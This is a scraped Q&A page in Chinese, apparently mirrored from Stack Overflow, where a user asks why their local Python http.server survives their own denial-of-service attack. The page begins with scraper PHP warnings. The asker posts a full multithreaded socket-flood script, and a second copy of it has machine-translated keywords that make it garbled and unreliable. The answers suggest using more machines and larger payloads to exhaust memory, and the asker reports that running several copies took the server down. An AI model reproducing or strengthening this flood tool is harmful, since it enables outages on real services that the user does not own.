Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/286.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
为什么我的服务器在Python中受到DoS攻击后仍然可以访问?_Python_Security - Fatal编程技术网

为什么我的服务器在Python中受到DoS攻击后仍然可以访问?

为什么我的服务器在Python中受到DoS攻击后仍然可以访问?,python,security,Python,Security,我使用Python-mhttp.Server 80启动了一个Python服务器,当我试图用DoS攻击攻击我自己的服务器时,我的电脑仍然可以访问该服务器,它与我的电脑位于同一个wi-fi网络上 以下是DoS代码: import socket import sys import threading import time import random try: WEB = str(sys.argv[1]) PORT = int(sys.argv[2]) THREAD

我使用
Python-mhttp.Server 80启动了一个Python服务器,当我试图用DoS攻击攻击我自己的服务器时,我的电脑仍然可以访问该服务器,它与我的电脑位于同一个wi-fi网络上

以下是DoS代码:

import socket

import sys

import threading

import time

import random

try:
    WEB = str(sys.argv[1])
    PORT = int(sys.argv[2])
    THREAD = int(sys.argv[3])
    TIMER = float(sys.argv[4])
except:
    print("You Haven't Declare The Arguments!")
    WEB = str(input("Enter The IP To Attack: "))
    PORT = int(input("Enter The Port: "))
    THREAD = int(input("Enter Threads: "))
    TIMER = int(input("Enter Timer: "))

timeout = time.time() + 1 * TIMER
def main(WEB, PORT):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect((WEB, PORT))

    byte = random._urandom(1024)
    try:
        while True:
            s.send(byte*random.randint(5, 15))
    except:
        PORT += 1

def handle_threading():
    global WEB
    global PORT
    global THREAD
    for i in range(0, THREAD):
        thread = threading.Thread(target=main, args=(WEB, PORT))

        thread.start()

if __name__ == "__main__":
    i = 0
    if TIMER == 0:
        while True:
            try:
                
                handle = threading.Thread(target=handle_threading)
                
                handle.start()
                
                handle.join()

                i += 1
            except:
                pass
    else:
        while i <= TIMER-1:
            try:
                handle = threading.Thread(target=handle_threading)
            
                handle.start()
            
                handle.join()
    
                i += 1
            except:
                pass

    print("\nAttack Done!\nCount: %s" %(i))
    sys.exit()

导入套接字
导入系统
导入线程
导入时间
随机输入
尝试:
WEB=str(sys.argv[1])
PORT=int(sys.argv[2])
THREAD=int(sys.argv[3])
计时器=浮动(sys.argv[4])
除:
打印(“您还没有声明参数!”)
WEB=str(输入(“输入要攻击的IP:”)
PORT=int(输入(“输入端口:”)
线程=int(输入(“输入线程:”)
计时器=int(输入(“输入计时器:”)
超时=时间。时间()+1*计时器
def主(网络、端口):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s、 连接((网络、端口))
字节=随机。_urandom(1024)
尝试:
尽管如此:
s、 发送(字节*random.randint(5,15))
除:
端口+=1
def handle_threading():
全球网络
全球港口
全局线程
对于范围内的i(0,线程):
线程(target=main,args=(WEB,端口))
thread.start()
如果名称=“\uuuuu main\uuuuuuuu”:
i=0
如果计时器==0:
尽管如此:
尝试:
句柄=线程。线程(目标=句柄线程)
handle.start()
handle.join()
i+=1
除:
通过
其他:

而我您需要多台计算机来执行DoS

没有关于您的实验室环境的描述,您的服务器是否有可能比您的PC更多的资源(cpu速度、ram容量、ssd硬盘驱动器等)


您可以尝试增加在每个连接中发送的字节数。将视频文件发送到您的服务器只是为了尝试耗尽服务器的内存。这只是一个测试,因为它取决于服务器端正在侦听的服务以及管理可用内存的能力。

攻击后,服务器可以正常运行。您测试过服务器在攻击期间是否正常工作了吗?在攻击期间,我尝试过访问它,但仍然可以通过我的手机和PC访问。非常感谢您的建议,我尝试过在2+终端上运行脚本,但我的电脑和手机无法访问服务器。非常感谢你!